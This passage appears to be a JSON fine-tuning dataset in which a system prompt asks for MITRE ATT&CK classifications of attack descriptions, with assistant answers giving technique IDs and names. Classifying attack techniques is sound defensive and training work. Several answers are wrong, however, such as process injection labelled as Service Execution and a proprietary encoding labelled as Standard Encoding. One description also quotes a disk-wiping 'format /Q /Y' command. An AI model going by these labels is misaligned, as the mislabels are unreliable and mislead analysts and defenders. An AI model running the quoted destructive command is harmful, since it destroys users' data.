                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a right‑to‑left override control character at the beginning of a PowerShell script name, the attacker disguises the malicious script as a harmless .txt file."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker executes a PowerShell command that calls \"shutdown /r /t 0\" to force an immediate system reboot."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor distributes .lnk shortcut files that use a legitimate icon to hide malicious commands embedded in the link target."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a web server, the attacker uploads a backdoor binary through an insecure FTP upload directory, allowing later command execution."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware family dynamically generates hundreds of seemingly random domain names daily, attempting DNS resolution to find active C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates sensitive files by uploading them to a compromised personal Dropbox account."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploit a vulnerability to force a reboot loop, preventing normal operation."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a .NET routine that decrypts AES‑encrypted configuration files to obtain command parameters."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy implant uses a kernel driver configured for auto‑execution on system start to intercept LSASS data."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the system binary rundll32.exe to load and run a malicious DLL hidden in the Temp directory."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a malicious .NET assembly by invoking regsvcs.exe with a remote DLL, achieving code execution via the System Binary Proxy Execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtains a legitimate server certificate by exploiting a misconfigured Certificate Authority."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes a VBScript decoder to transform an obfuscated script stored in an Office macro into executable code."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script gathers Kerberos tickets for service accounts with weak passwords and then uses John the Ripper to crack the ticket hashes offline."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages DNS cache snooping to determine which domains have been recently resolved within the target network."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through exploitation of misconfigured web applications, an adversary can achieve lateral movement into internal networks protected behind the public-facing service."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates all accounts and then issues a command to delete them from the system."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a rootkit to block access to the onboard crypto accelerator, rendering hardware encryption unusable."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan dropped a batch file that runs 'format /Q /Y' on each mounted volume, causing irreversible data destruction."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a corporate DNS resolver and insert rogue A records pointing to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries stop the \"Spooler\" service on the target machine to disrupt printing capabilities."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary tampers with a shared spreadsheet in a cloud service, adding a formula that runs PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a JavaScript payload delivered via a malicious .hta file to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits Windows Management Instrumentation to subscribe to a network connection event, executing a payload whenever a new connection is established."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embeds API keys in the Windows registry to hide them from file system scans."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a rogue USB flash drive to deliver a payload that disables endpoint protection on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a spearphished message to specific employees, embedding a malicious link that redirects to a credential harvesting site mimicking the corporate login portal."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the ptrace system call, the attacker attaches to a legitimate user process, injects a keylogger by overwriting the process's .text section, and then detaches, leaving the process unaware of the compromise."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages Asynchronous Procedure Calls to execute shellcode inside a high‑privilege Windows process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary disconnects and deletes network share connections used for command and control."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a privileged daemon to export all items from a targeted user's keychain."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs a script that queries the Windows registry for driver information to locate potential escalation paths."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs FTP client commands to list and download files from the victim's shares."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script inserts a line into the user's crontab that launches a keylogger every 5 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor captures keystrokes and screenshots of the active window whenever the victim types sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a oneshot service and a corresponding timer that triggers it after a delay, providing stealthy execution of a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder updates the global /etc/zshrc to export a malicious PATH that loads a trojan library during shell initialization."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a CDN’s public analytics dashboard to extract performance metrics that disclose server locations."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Google dorking techniques to discover hidden directories and files on victim-owned websites before delivering a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Control Panel system binary as a proxy to load and run a backdoor, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the Windows \"at\" command to create a scheduled task that runs a malicious PowerShell script every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use custom UDP packets on non-standard ports to deliver malicious payloads directly to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed a cloud account by reusing passwords from a breached third‑party service, achieving credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script used nmap to discover active services on hosts in the 10.0.0.0/24 subnet."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performed DNS zone transfer requests to uncover service hostnames and IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a DNS‑based link target, resolving to a malicious domain that hosts the next stage of the attack chain."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor hijacks the federated authentication flow by creating forged SAML tokens in a hybrid identity setup."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary utilized a signed driver to read LSASS process memory and dump credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages compromised service accounts to gain remote desktop access to multiple servers."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ad placements are bought on e‑commerce sites, with malicious redirects that serve a cryptominer to unsuspecting shoppers."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised device runs a tool that pulls passwords from the Bitwarden encrypted vault."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a malicious script via the Sysvol share that runs on each workstation during network logon."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the signed system binary mmc.exe as a proxy for executing PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set transforms stolen data into a binary string using a proprietary encoding algorithm before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote email collection is performed by using compromised service accounts to pull mailbox data."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates an encrypted channel over a public cloud storage API, allowing it to exfiltrate data in multiple stages."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a legitimate remote shell session to upload additional payloads onto the target system."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor buys a list of employee credentials and system configurations from a closed‑source data broker."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets up a VPN-like tunnel over legitimate TCP port 443, allowing continuous bidirectional communication with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system has a shortcut placed in the user's start menu that points to a malicious PowerShell command hosted on a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor replaces the current system image with a legacy version to bypass recent hardening measures."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware spreads through a botnet by exploiting SMB vulnerabilities in Windows machines, adding each compromised system to the botnet for later use."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sets up a WMI event filter for Registry changes and binds it to a malicious script that runs automatically when the key is modified."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network traffic is tunneled through legitimate protocols like DNS to mask command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors commandeer a botnet of compromised VPN servers to route malicious traffic and hide their command‑and‑control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves using LNK files with spoofed icons to conceal the execution of a credential dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code injects itself into a legitimate system process to hide its execution from security monitors."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary removes the permissions for the EventLog service account, causing logs to be dropped."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team uses the \"net start\" command to launch a custom service that runs a Python script with SYSTEM rights."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured S3 bucket used by a social media app to retrieve API keys that allow account takeover."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was disguised as a harmless image by changing its file extension to .png while retaining executable code."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email pretends to be from HR, requesting employees to submit their personal information through an attached form."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfiguration, the intruder forces the use of legacy authentication methods, bypassing modern multi-factor controls."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group accesses restricted academic databases to gather details about a new vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor drops a crafted Netsh helper DLL into the system directory and modifies the registry to point to it, achieving persistence through event‑triggered execution when netsh is invoked."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries establish a VNC connection to the victim's machine to gain interactive remote desktop access."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
